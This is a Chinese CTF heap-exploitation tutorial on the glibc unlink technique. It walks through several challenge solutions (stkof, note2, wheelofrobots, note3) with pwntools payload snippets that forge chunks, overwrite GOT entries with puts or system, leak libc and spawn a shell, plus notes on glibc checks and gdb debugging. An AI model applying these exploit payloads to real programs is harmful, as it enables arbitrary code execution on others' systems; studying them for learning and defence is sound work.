pwn堆入门系列教程4
字数 1205 2025-08-25 22:59:09
Unlink漏洞利用技术详解
1. Unlink基础原理
Unlink是堆利用中的一种关键技术,主要利用glibc中双向链表操作的安全检查缺陷来实现任意地址读写。
1.1 Unlink操作的核心机制
当释放一个chunk时,如果相邻的前一个或后一个chunk处于空闲状态,glibc会执行合并操作,此时会调用unlink宏将空闲chunk从双向链表中移除。
关键数据结构:
struct malloc_chunk {
size_t prev_size; /* Size of previous chunk (if free) */
size_t size; /* Size in bytes, including overhead */
struct malloc_chunk* fd; /* double links -- used only if free */
struct malloc_chunk* bk;
};
1.2 伪造chunk的条件
要成功利用unlink,需要满足以下条件:
- 伪造一个fake chunk,设置合理的prev_size和size
- 通过堆溢出修改相邻chunk的size字段,设置PREV_INUSE位为0
- 伪造的fd和bk指针需要满足安全检查:
- FD->bk == P
- BK->fd == P
2. 典型利用场景分析
2.1 HITCON 2014 stkof题目分析
漏洞点
- 编辑功能中存在堆溢出,可以覆盖相邻chunk的元数据
- 无输出功能,需要通过其他方式泄露地址
利用步骤
- 堆布局
alloc(0x100) # idx1
alloc(0x30) # idx2
alloc(0x80) # idx3
alloc(0x30) # idx4
- 构造fake chunk并触发unlink
ptr = 0x0000000000602140 + 0x10
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90) # 修改idx3的prev_size和size
fill(2, payload)
delete(3) # 触发unlink
- 任意地址写
payload = 'a'*0x10 + p64(free_got) + p64(puts_got) + 'a'*8 + p64(atoi_got)
fill(2, payload)
fill(1, p64(puts_plt)) # 修改free@got为puts@plt
- 泄露libc地址
delete(2) # 触发puts(puts@got)
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
- getshell
fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")
2.2 2016 ZCTF note2题目分析
漏洞点
- 编辑note时会申请固定大小内存,但free后未置NULL
- 存在UAF漏洞
利用步骤
- 堆布局与unlink
ptr = 0x0000000000602120
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload) # 创建fake chunk
- 修改全局指针
payload = 'a'*0x18 + p64(elf.got['atoi'])
editnote(0, 1, payload) # 修改指针指向atoi@got
- 泄露地址
shownote(0)
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
- getshell
editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")
3. 高级利用技巧
3.1 Off-by-one利用
在2017 insomni'hack wheelofrobots题目中:
- 利用off-by-one修改fd指针
off_by_one('\x01') # 修改最低字节
change(2, p64(0x0000000000603138)) # 指向目标地址
- 绕过fastbin检查
off_by_one('\x00') # 恢复size字段
- 构造unlink
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) + p64(0xa0) # 设置伪造的prev_size和size
3.2 特殊场景处理
在zctf-note3题目中遇到的坑:
- 输入函数导致的覆盖问题
// 读取函数会覆盖下一个地址的最后一位为\x00
*(_BYTE *)(a1 + i) = 0;
解决方案:
edit(1, p64(elf.plt['puts'])[:-1]) # 避免发送换行符
- fastbin检查绕过
- 不能随意删除中间chunk,否则会破坏堆结构
- 需要精心设计释放顺序
4. 防御与绕过
4.1 glibc的保护机制
- 双向链表完整性检查
// glibc中的安全检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
- size字段检查
- 检查size是否对齐
- 检查PREV_INUSE位
4.2 绕过技巧
- 伪造满足条件的FD和BK
p64(ptr-0x18) # FD
p64(ptr-0x10) # BK
- 精心设计堆布局
- 确保伪造的chunk size与相邻chunk的prev_size匹配
- 确保释放顺序不会触发其他检查
5. 工具与调试技巧
- gdb调试命令
gdb-peda$ x/20gx 0x20f7560-0x30 # 查看堆内存
gdb-peda$ heap chunks # 查看堆chunk布局
gdb-peda$ heap bins # 查看各类bin的状态
- pwntools技巧
context.log_level = 'debug' # 显示详细交互信息
gdb.attach(io) # 附加gdb调试
6. 总结与经验
- 关键经验
- 理解unlink操作的本质是修改指针的指针
- 全局数组/指针的位置选择很重要(通常选择ptr-0x18和ptr-0x10)
- 注意输入函数的具体行为,避免意外覆盖
- 学习建议
- 从简单题目开始,逐步理解unlink机制
- 多调试,观察内存变化
- 掌握不同glibc版本的区别
- 扩展思考
- 如何在没有输出功能的情况下利用unlink?
- 如何结合其他漏洞(如off-by-one)增强unlink的利用效果?
- 如何应对不同保护机制(如RELRO, PIE等)?